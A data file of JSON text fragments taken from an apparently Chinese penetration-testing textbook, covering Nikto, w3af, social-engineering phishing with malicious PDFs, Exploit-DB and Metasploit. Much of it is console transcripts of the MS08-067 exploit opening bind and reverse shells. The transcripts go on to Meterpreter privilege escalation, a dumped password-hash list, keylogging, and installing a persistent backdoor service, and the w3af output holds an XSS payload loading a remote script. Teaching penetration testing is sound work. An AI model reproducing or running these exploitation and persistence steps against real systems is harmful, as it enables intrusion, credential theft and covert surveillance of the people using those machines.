------------------------------------------------------------- ----------- + Server: Apache/2.0.55 (Ubuntu) mod_python/3.1.4 Python/2.4.3 PHP/5.1.2 mod_ ssl/2.0.55 OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7 V:Sat Sep 18 14:39:40 2013 - 21 server checks loaded V:Sat Sep 18 14:39:41 2013 - Testing error for file: /.g89xvYXD ... + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST V:Sat Sep 18 14:40:49 2013 - Running scan for \"Server Messages\" plugin + OSVDB-0: mod_ssl/2.0.55 OpenSSL/0.9.8a mod_perl/2.0.2 Perl/v5.8.7 –mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). http://cve.mitre.org/cgi-bin/cvename.cgi?name= CVE-2002-0082, OSVDB-756. ... V:Sat Sep 18 14:41:04 2013 - 404 for GET: /tiki/tiki-install.php V:Sat Sep 18 14:41:05 2013 - 404 for GET: /scripts/samples/details.idc + 21 items checked: 15 item(s) reported on remote host + End Time: 2013-09-19 14:41:05 (87 seconds) ------------------------------------------------------------- + 1 host(s) tested V:Sat Sep 18 14:41:05 2013 + 135 requests made 上述指令中，-T 选项指定测试类型为 Information Disclosure（信息泄露）、Injection （XSS/Script/HTML）、Remote File Retrieval（Server Wide）、Command Execution 和Software Identification（软件识別）；"},
    {"text": "Nikto还有其他的选项，例如-mutate（猜测子域、文件、目录、用户名）、-evasion（规避IDS检测）和-Single （单组规则测试模式），都可以用来进行更为深入的安全评估。"},
    {"text": "另外，您还可以在 Analyze | Scan Policy 指定安全测试的特定类型，然后使用单独的 Analyze | Scan 功能进行特定类型的安全测试（而不是Scan All 进行的那种全面测试）。"},
    {"text": "w3af>>> plugins w3af/plugins>>> help w3af/plugins>>> output w3af/plugins>>> output console, htmlFile w3af/plugins>>> output config htmlFile w3af/plugins/output/config:htmlFile>>> help w3af/plugins/output/config:htmlFile>>> view w3af/plugins/output/config:htmlFile>>> set verbose True w3af/plugins/output/config:htmlFile>>> set fileName testreport.html w3af/plugins/output/config:htmlFile>>> back w3af/plugins>>> output config console w3af/plugins/output/config:console>>> help w3af/plugins/output/config:console>>> view w3af/plugins/output/config:console>>> set verbose False w3af/plugins/output/config:console>>> back w3af/plugins>>> audit w3af/plugins>>> audit htaccessMethods, osCommanding, sqli, xss w3af/plugins>>> back w3af>>> target w3af/config:target>>> help w3af/config:target>>> view w3af/config:target>>> set target http://testphp.example.com/ w3af/config:target>>> back w3af>>> 我们通过上述指令调整好了各项参数。"},
    {"text": "w3af>>> start Auto-enabling plugin: grep.error500 Auto-enabling plugin: grep.httpAuthDetect Found 2 URLs and 2 different points of injection. The list of URLs is: - http://testphp.example.com/ - http://testphp.example.com/search.php?test=query The list of fuzzable requests is: - http://testphp.example.com/ | Method: GET - http://testphp.example.com/search.php?test=query| Method: POST|Parameters:(searchFor=\"\") Starting sqli plugin execution. Starting osCommanding plugin execution. A possible OS Commanding was found at: \"http://testphp.example.com/search.php?test=query\", using HTTP method POST. The sent post-data was: \"searchFor=run+ping+-n+3+localhost＆goButton=go\".Please review manually. This information was found in the request with id 22. Starting xss plugin execution. Cross Site Scripting was found at: \"http://testphp.example.com/search.php?test=query\", using HTTP method POST. The sent post-data was: \"searchFor=<ScRIPt/SrC=http://x4Xp/x.js></ScRIPt>＆goButton=go\". This vulnerability affects Internet Explorer 6,Internet Explorer 7,Netscape with IE rendering engine,Mozilla Firefox,Netscape with Gecko rendering engine. This vulnerability was found in the request with id 39. Starting htaccessMethods plugin execution. Finished scanning process. 上述信息表明，W3AF发现该Web应用程序存在多个严重的安全漏洞。"},
    {"text": "# wafw00f http://www.example.net/ WAFW00F - Web Application Firewall Detection Tool By Sandro Gauci ＆＆ Wendel G. Henrique Checking http://www.example.net/ The site http://www.example.net/ is behind a dotDefender Number of requests: 5 上述信息表明，目标应用程序服务器处于防火墙的保护之下（例如，dotDefender）。"},
    {"text": "在开始评估工作之前，我们应调整浏览器程序，使其使用本地代理服务器（127.0.0.1, 8080），以使得浏览器通过WebScarab 的拦截代理访问目标主机。"},
    {"text": "在本例中，我们写了一个小型文本文件，这个文件含有已知的SQL 注入数据（例如，1 AND1=2、1AND1=1、单引号[’]），然后指定这个文本文件作为模糊测试的参数值。"},
    {"text": "Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\'' at line 1 Warning: mysql_fetch_array():supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74 4. 最后，我们分析目标应用程序的session ID。"},
    {"text": "为了指导漏洞评估的具体工作，本文列举了几款结合自动检验技术和手动检验技术的评估工具，并依据其特定的审计技术对这些工具进行了分类。"},
    {"text": "本章将阐述社会工程学核心原则，并会介绍专业的社会工程攻击人员用其操纵他人或挖掘信息的实例。 本章分为以下几个部分： ● 透过心理学的基本原理，带领读者大致了解社会工程学的手段和目标。"},
    {"text": "无论是渗透测试人员，还是诈骗专家、身份窃贼、商业合作伙伴、求职人员、销售人员、信息经纪人、电话推销员、政府间谍、心怀不满的员工，甚至日常生活中的孩童都会使用这种技术，只是他们的动机不同而已。"},
    {"text": "感官的作用是形成对现实的感知。 按照感官对自然现象的识别作用来划分，人的感官可分成视觉、听觉、味觉、触觉、嗅觉、平衡和加速、温度、动觉、疼痛感和方向感的感官。 人类正是利用、发展他们的这些感官的功能，得以感知外部世界。"},
    {"text": "站在社会工程学的立场，任何通过显性感觉（视觉或听觉）、眼晴的动作（眼神接触、口头上的差异、眨眼频率或眼睛暗示）、面部表情（惊喜、幸福、恐惧、悲伤、愤怒或厌恶）和其他抽象实体进行观察或感觉收集到的信息，都可增加成功获取目标信息的概率。"},
    {"text": "沟通形式可以是直接见面的接触方式，也可以是通过电子辅助技术进行的不见面接触方式。 在实际工作中，常见的沟通方式分为两类：面谈或问询。"},
    {"text": "在他获取所有学生的E-mail地址的情况下，他可以向学生们发送邮件并宣告：提供个人信息（姓名、地址、电话、电子邮件、出生日期、护照号码等）将免费获赠 iPod。"},
    {"text": "它由 TrustedSec（https://www.trustedsec.com）的创始人编写，可以行之有效地利用客户端应用程序的漏洞获取目标的机息（例如E-mail密码）。"},
    {"text": "其中，人们常用的方法有：用恶意附件对目标进行E-mail钓鱼攻击、Java applet 攻击、基于浏览器的漏洞攻击、收集网站认证信息、建立感染的便携媒体（USB/DVD/CD）、邮件群发攻击及其他类似攻击。"},
    {"text": "图8.1 定向钓鱼攻击 如果采用这种攻击方法，我们就要首先创建一个配合恶意PDF附件的E-mail模板，再选择适当的PDF exploit payload，然后设置攻击平台与目标主机之间的连接关系，最后通过Gmail向目标发送这封E-mail。"},
    {"text": "这些心理学原则可帮助攻击人员根据被测目标的实际情况，拟定适用的攻击过程（情报收集、确定漏洞点、规划攻击和执行攻击）和攻击方法（冒名顶替、投桃报李、狐假虎威、啖以重利和社会关系）。"},
    {"text": "在摸索出目标的漏洞之后，测试人员会验证并真刀真枪地利用目标系统的安全漏洞，以进一步了解目标网络和运营系统，获取更多信息，甚至掌握完全控制权。"},
    {"text": "9.2 节介绍漏洞和漏洞利用程序的资料库（exploit repositories）。 漏洞利用程序的资料库是查找公开获取exploit的重要途径，它还描述了有关exploit的应用方法。"},
    {"text": "逆向工程的反编译技术，可在事先不知道内部结构情况下逆向解析出程序的源代码，从而测试程序的错误条件、不完善的函数以及存在缺陷的协议，并能够测试程序的边界条件。"},
    {"text": "逆向工程可以用于去除软件的版权保护、安全审计、分析技术竞争情报、侵权鉴定、研究软件的交互性、掌握程序的工作机制，甚至破获敏感数据。"},
    {"text": "● 熟悉检测工具：检测漏洞的工作依赖各种调试器、数据挖掘器、模糊测试数据生成器、事件检测器、代码覆盖分析器、流量分析器和内存监视器。 对于检验漏洞的工作来说，漏洞检测工具十分重要。"},
    {"text": "如果具备了一定的编程技巧并掌握解操作系统的具体架构，您还可以将一种类型的exploit转换为另一种exploit（例如，将Win32框架的exploit转换为Linux架构的exploit程序）。"},
    {"text": "请注意：网络上公开的漏洞信息并不涵盖全部已知漏洞。 此外，虽然部分漏洞存在对应的PoC exploit程序，但是并非所有的安全漏洞信息都有公开的PoC代码。 在公开的漏洞信息中，部分漏洞的描述信息甚至可谓是言之无物。"},
    {"text": "# cd /usr/share/exploitdb/ # vim files.csv 上述指令将列出Exploit-DB收录的所有exploit信息，即本机/usr/share/exploitdb/platforms/目录下的文件清单和相关描述。"},
    {"text": "Kali 以目标系统的类型对漏洞进行分类（Window、Linux、HP-UX、Novell、 Solaris、BSD、IRIX、TRU64、ASP、PHP 等），并把各种exploit的源代码保存在相应的子目录下。"},
    {"text": "Metasploit 框架是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。 Metasploit 的框架可以分为三大类组成部分：库、界面和模板。"},
    {"text": "● Encoders（编码工具模板）：在渗透测试中，这个模板用来加密有效载荷，以避免被杀毒软件、防火墙、IDS/IPS以其他类似的反恶意软件检测出来。"},
    {"text": "● NOP（空操作模板）：这个模板用于在shellcode 中插入NOP（汇编指令）。 虽然NOP不会进行实际的操作，但是在构造shellcode时可以用来暂时替代playload，形成完整的shellcode程序。"},
    {"text": "msf > show -h [*] Valid parameters for the \"show\" command are: all, encoders, nos, exploits, payloads, auxiliary, plugins, options [*] Additional module-specific parameters are： advanced, evasion, targets, actions 上述命令通常用于显示某个类型的可用模板，或者显示所有模板。"},
    {"text": "# msfcli windows/smb/ms08_067_netapi O [*] Please wait while we load the module tree... Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) 上述指令结尾处的选项O，用于显示指定exploit的全部选项。"},
    {"text": "# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P [*] Please wait while we load the module tree... Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generate a debug trap in the target process generic/shell_bind_tcp Listen for a connection and spawn a command shell ... 在设置好RHOST参数指定了目标IP之后，就应当选取可行的payload，并执行我们选取的exploit。 # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST =192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E [*] Please wait while we load the module tree... [*] Started reverse handler on 192.168.0.3:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to 192.168.0.7 [*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027) Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp. C:\\WINDOWS\\system32> 上述信息表明，在选定payload并设置好LHOST参数之后，我们获取了目标主机的本地shell控制权。"},
    {"text": "msf > load db_tracker [*] Successfully loaded plugin: db_tracker msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7 Starting Nmap 5.00 ( http://nmap.org ) at 2010-11-11 22:34 UTC NSE: Loaded 3 scripts for scanning. Initiating ARP Ping Scan at 22:34 Scanning 192.168.0.7 [1 port] Completed ARP Ping Scan at 22:34, 0.00s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:34 Scanning 192.168.0.7 [1000 ports] Discovered open port 445/tcp on 192.168.0.7 Discovered open port 135/tcp on 192.168.0.7 Discovered open port 25/tcp on 192.168.0.7 Discovered open port 139/tcp on 192.168.0.7 Discovered open port 3389/tcp on 192.168.0.7 Discovered open port 80/tcp on 192.168.0.7 Discovered open port 443/tcp on 192.168.0.7 Discovered open port 21/tcp on 192.168.0.7 Discovered open port 1025/tcp on 192.168.0.7 Discovered open port 1433/tcp on 192.168.0.7 Completed SYN Stealth Scan at 22:34, 3.04s elapsed (1000 total ports) Initiating Service scan at 22:34 Scanning 10 services on 192.168.0.7 Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host) Initiating OS detection (try #1) against 192.168.0.7 ... PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 80/tcp open http Microsoft IIS httpd 5.1 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcpopen https? 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM 3389/tcp open microsoft-rdp Microsoft Terminal Service MAC Address: 00:0B:6B:68:19:91 (Wistron Neweb) Device type: general purpose Running: Microsoft Windows 2000|XP|2003 OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, orWindows Server 2003 SP0 - SP2 Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: custdesk; OS: Windows ... Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB) 上述信息表明，现在已经成功对目标进行扫描，并且扫描结果已经保存在当前的数据库会话中。"},
    {"text": "另外，如果您单独使用NMAP程序扫描过目标主机，而且已经把扫描报告保存为XML格式的文件，那么可以使用db_import_nmap_xml命令把Nmap的扫描报告导入到Metasploit的数据库里。"},
    {"text": "SNMP字符串扫描程序 这个模板可以对指定网段进行SNMP（Simple Network Management Protocol）扫描，并使用常见的团体字符对SNMP进行测试，最终显示它识别出来的SNMP设备信息。"},
    {"text": "我们来看： msf > search snmp [*] Searching loaded modules for pattern 'snmp'... Auxiliary ========= Name Disclosure Date Rank Description ---- -------------- ---- ----------- scanner/snmp/aix_version normal AIX SNMP Scanner AuxiliaryModule scanner/snmp/community normal SNMP Community Scanner …… msf > use auxiliary/scanner/snmp/community msf auxiliary(community) > show options Module options: Name Current Setting Required Description ---- --------------- ----- -- ---------- BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address COMMUNITIES /opt/metasploit3/msf3/data/wordlists/snmp.txt no The list of communities that should be attempted per host RHOSTS yes The target address range or CIDR identifier RPORT 161 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(community) > set RHOSTS 10.2.131.0/24 RHOSTS => 10.2.131.0/24 msf auxiliary(community) > set THREADS 3 THREADS => 3 msf auxiliary(community) > set BATCHSIZE 10 BATCHSIZE => 10 msf auxiliary(community) > run [*] >> progress (10.2.131.0-10.2.131.9) 0/170... [*] >> progress (10.2.131.10-10.2.131.19) 0/170... [*] >> progress (10.2.131.20-10.2.131.29) 0/170... [*] Scanned 030 of 256 hosts (011% complete) [*] >> progress (10.2.131.30-10.2.131.39) 0/170... [*] >> progress (10.2.131.40-10.2.131.49) 0/170... [*] >> progress (10.2.131.50-10.2.131.59) 0/170... [*] Scanned 060 of 256 hosts (023% complete) [*] >> progress (10.2.131.60-10.2.131.69) 0/170... [*] >> progress (10.2.131.70-10.2.131.79) 0/170... [*] Scanned 080 of 256 hosts (031% complete) [*] >> progress (10.2.131.80-10.2.131.89) 0/170... [*] >> progress (10.2.131.90-10.2.131.99) 0/170... [*] >> progress (10.2.131.100-10.2.131.109) 0/170... [*] 10.2.131.109 'public' 'HP ETHERNET MULTI-ENVIRONMENT,ROM none,JETDIRECT,JD128,EEPROM V.33.19,CIDATE 12/17/2008' [*] Scanned 110 of 256 hosts (042% complete) ... [*] >> progress (10.2.131.240-10.2.131.249) 0/170... [*] >> progress (10.2.131.250-10.2.131.255) 0/102... [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 上述信息表明，程序识别出了一个启用SNMP 功能的设备，而且该设备可以受理团体字符串 public。"},
    {"text": "msf > use auxiliary/scanner/vnc/vnc_none_auth msf auxiliary(vnc_none_auth) > show options msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24 RHOSTS => 10.4.124.0/24 msf auxiliary(vnc_none_auth) > run [*] 10.4.124.22:5900, VNC server protocol version : \"RFB 004.000\", not supported! [*] 10.4.124.23:5900, VNC server protocol version : \"RFB 004.000\", not supported! [*] 10.4.124.25:5900, VNC server protocol version : \"RFB 004.000\",not supported! [*] Scanned 026 of 256 hosts (010% complete) [*] 10.4.124.26:5900, VNC server protocol version : \"RFB 004.000\",not supported! [*] 10.4.124.27:5900, VNC server security types supported : None,free access! [*] 10.4.124.28:5900, VNC server security types supported : None,free access! [*] 10.4.124.29:5900, VNC server protocol version : \"RFB 004.000\",not supported! ... [*] 10.4.124.224:5900, VNC server protocol version : \"RFB 004.000\",not supported! [*] 10.4.124.225:5900, VNC server protocol version : \"RFB 004.000\",not supported! [*] 10.4.124.227:5900, VNC server security types supported : None,free access! [*] 10.4.124.228:5900, VNC server protocol version : \"RFB 004.000\",not supported! [*] 10.4.124.229:5900, VNC server protocol version : \"RFB 004.000\",not supported! [*] Scanned 231 of 256 hosts (090% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 上述信息表明，Metasploit框架确实找到了很多无需验证就可访问的VNC服务器。"},
    {"text": "msf > use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass msf auxiliary(ms09_020_webdav_unicode_bypass) > show options msf auxiliary(ms09_020_webdav_unicode_bypass) > set RHOSTS 10.8.183.0/24 RHOSTS => 10.8.183.0/24 msf auxiliary(ms09_020_webdav_unicode_bypass) > set THREADS 10 THREADS => 10 msf auxiliary(ms09_020_webdav_unicode_bypass) > run [-] Folder does not require authentication. [302] [-] Folder does not require authentication. [400] [*] Confirmed protected folder http://10.8.183.9:80/ 401 (10.8.183.9) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [-] Folder does not require authentication. [403] [-] Folder does not require authentication. [302] [-] Folder does not require authentication. [501] [-] Folder does not require authentication. [501] ... [*] Confirmed protected folder http://10.8.183.162:80/ 401(10.8.183.162) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. ... [*] Confirmed protected folder http://10.8.183.155:80/ 401(10.8.183.155) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [*] Confirmed protected folder http://10.8.183.166:80/ 401(10.8.183.166) [*]Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [*] Confirmed protected folder http://10.8.183.168:80/ 401(10.8.183.168) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [*] Confirmed protected folder http://10.8.183.167:80/ 401(10.8.183.167) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [-] Folder does not require authentication. [501] [*] Confirmed protected folder http://10.8.183.171:80/ 401(10.8.183.171) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [-] Folder does not require authentication. [501] [-] Folder does not require authentication. [501] ... [-] Folder does not require authentication. [302] [*] Confirmed protected folder http://10.8.183.178:80/ 401(10.8.183.178) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [-] Folder does not require authentication. [501] [-] Folder does not require authentication. [501] [*] Scanned 182 of 256 hosts (071% complete) [-] Folder does not require authentication. [501] [*] Confirmed protected folder http://10.8.183.183:80/ 401(10.8.183.183) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. [-] Folder does not require authentication. [302] [*] Confirmed protected folder http://10.8.183.188:80/ 401(10.8.183.188) [*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request. ... [-] Folder does not require authentication. [405] [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 上述信息表明，Metasploit 框架完成了对目标网段的扫描，已经找到了存在 MS09-020 IIS6 WebDAV Unicode Authentication Bypass漏洞的主机。"},
    {"text": "在成功利用了目标主机上的安全漏洞，并且成功执行了shellcode程序以后，渗透人员可在目标主机上的特定端口上运行bind shell，以让其他主机继续控制这台主机。 攻击人员可以使用基于 TCP 连接的标准输入输出（stdin/stdout）隧道工具（例如 Netcat）连接到被攻破的主机，通过 bind shell 继续实施控制。"},
    {"text": "它的应用场合与 Telnet 服务器/客户端十分相似，主要适用于以 NAT（Network Address Translation）方式连入网络的渗透人员、攻击人员的设备与目标主机之间有防火墙的情况，即适用于无法从被测主机直接连接到攻击人员主机IP的各种情况。"},
    {"text": "msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to 192.168.0.7 [*] Command shell session 1 opened (192.168.0.3:41289 -> 192.168.0.7:4444) at Sat Nov 13 19:01:23 +0000 2010 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\WINDOWS\\system32> 上述信息表明，Metasploit 通过集成的payload 处理程序自动连接到了bind shell。"},
    {"text": "reverse shell reverse（反射型）shell与绑定型（bind）shell截然不同。 reverse shell不是在目标机器上绑定端口，被动地受理攻击人员的机器连接，而是采用反弹的方法，让被测主机主动地连接攻击者的IP和端口，并提供一个shell。 reverse shell适用于被测主机采用NAT方式连接网络的情况，或者被测主机受防火墙保护而使渗透人员不能从外网直接访问被测主机的各种情况。"},
    {"text": "msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3 LHOST => 192.168.0.3 msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to 192.168.0.7 [*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027) at Sat Nov 13 22:59:02 +0000 2010 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\WINDOWS\\system32> 在安装reverse shell 时需配置攻击者的IP（例如LHOST 192.168.0.3），而在安装（绑定型）bind shell 则没有这项设置。"},
    {"text": "Meterpreter Meterpreter是一种先进的、隐蔽的、多功能的、可动态扩展的payload，它可在目标主机的系统内存里注入DLL（注入的DLL完全不会以文件形式存在）。"},
    {"text": "在漏洞利用的后期阶段，它的动态加载特性极大地拓宽了渗透人员的作业空间，方便了提权、保存系统账号、进行关键记录、驻留性后门服务、开启远程桌面等各种操作。"},
    {"text": "msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf exploit(ms08_067_netapi) > show payloads ... msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > show options ... msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3 LHOST => 192.168.0.3 msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (749056 bytes) to 192.168.0.7 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1029) at Sun Nov 14 02:44:26 +0000 2010 meterpreter > help ... 通过上述指令，我们成功地连接到了被测主机的Meterpreter shell，然后我们通过help查看各种可用的命令。"},
    {"text": "meterpreter > getuid Server username: CUSTDESK\\salesdept meterpreter > use priv meterpreter > getsystem -h ... 上述指令将会显示提升权限的各种技术。 如果不启用任何选项，直接使用getsystem指令将会逐一尝试各种提权技术，直到成功提升到系统权限为止。 meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM meterpreter > sysinfo Computer: CUSTDESK OS : Windows XP (Build 2600, Service Pack 2). Arch : x86 Language: en_US 如果在指令中启用exploit -j -z选项，那么漏洞利用程序将会在后台运行，您也不会进入交互式的Meterpreter shell。"},
    {"text": "meterpreter > run hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 71e52ce6b86e5da0c213566a123 6f892... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... h Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e 0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0::: HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb 811d2d986df9::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf7b 2835ec013cfb9c5::: Momin Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204 beb12283678::: IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21bf 6b80e02744513::: ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6abe5d 8e1dd::: IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41e5 196e00f94e113::: h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb 12283678::: salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd 377b1693::: 接下来，我们通过Meterpreter shell 运行keylog 程序，记录键盘输入的内容。"},
    {"text": "meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ---- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITY\\SYSTEM 384 smss.exe x86 0 NT AUTHORITY\\SYSTEM \\SystemRoot\\System32\\smss.exe 488 csrss.exe x86 0 NT AUTHORITY\\SYSTEM \\??\\C:\\WINDOWS\\system32\\csrss.exe 648 winlogon.exe x86 0 NT AUTHORITY\\SYSTEM \\??\\C:\\WINDOWS\\system32\\winlogon.exe 692 services.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\services.exe 704 lsass.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\lsass.exe ... 148 alg.exe x86 0 NT AUTHORITY\\LOCAL SERVICE C:\\WINDOWS\\System32\\alg.exe 3172 explorer.exe x86 0 CUSTDESK\\salesdept C:\\WINDOWS\\Explorer.EXE 3236 reader_sl.exe x86 0 CUSTDESK\\salesdept C:\\Program Files\\Adobe\\Reader 9.0\\Reader\\Reader_sl.exe 接下来，我们把 Meterpreter shell 插入 explorer.exe 的进程（3172），以便开始记录当前用户对系统的操作，所涉及的指令如下。"},
    {"text": "meterpreter > migrate 3172 [*] Migrating to 3172... [*] Migration completed successfully. meterpreter > getuid Server username: CUSTDESK\\salesdept meterpreter > keyscan_start Starting the keystroke sniffer... 现在就可以启动键盘记录程序。"},
    {"text": "meterpreter > keyscan_dump Dumping captured keystrokes... <Return> www.yahoo.com <Return> <Back> www.bbc.co.uk <Return> meterpreter > keyscan_stop Stopping the keystroke sniffer... 上述信息表明，键盘记录程序记录了被测主机的网上活动。"},
    {"text": "为了避免这一情况，我们可以通过常人所说的“后门”服务程序维护自己对目标主机的控制。 务必要注意：一旦在被测主机上安装了 Meterpreter提供的后门服务程序，所有人都可以控制被测主机；"},
    {"text": "msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (749056 bytes) to 192.168.0.7 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1032) at Tue Nov 16 19:21:39 +0000 2010 meterpreter > ps ... 292 alg.exe x86 0 NT AUTHORITY\\LOCAL SERVICE C:\\WINDOWS\\System32\\alg.exe 1840 csrss.exe x86 2 NT AUTHORITY\\SYSTEM \\??\\C:\\WINDOWS\\system32\\csrss.exe 528 winlogon.exe x86 2 NT AUTHORITY\\SYSTEM \\??\\C:\\WINDOWS\\system32\\winlogon.exe 240 rdpclip.exe x86 0 CUSTDESK\\Momin Desktop C:\\WINDOWS\\system32\\rdpclip.exe 1060 userinit.exe x86 0 CUSTDESK\\Momin Desktop C:\\WINDOWS\\system32\\userinit.exe 1544 explorer.exe x86 0 CUSTDESK\\Momin Desktop C:\\WINDOWS\\Explorer.EXE ... meterpreter > migrate 1544 [*] Migrating to 1544... [*] Migration completed successfully. meterpreter > run metsvc -h ... meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\\DOCUME～1\\MOMIND～1\\LOCALS～1\\Temp\\oNyLOPeS... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed. 通过上述指令，我们在被测主机上安装了后门服务程序，现在可以关闭当前的meterpreter会话。"},
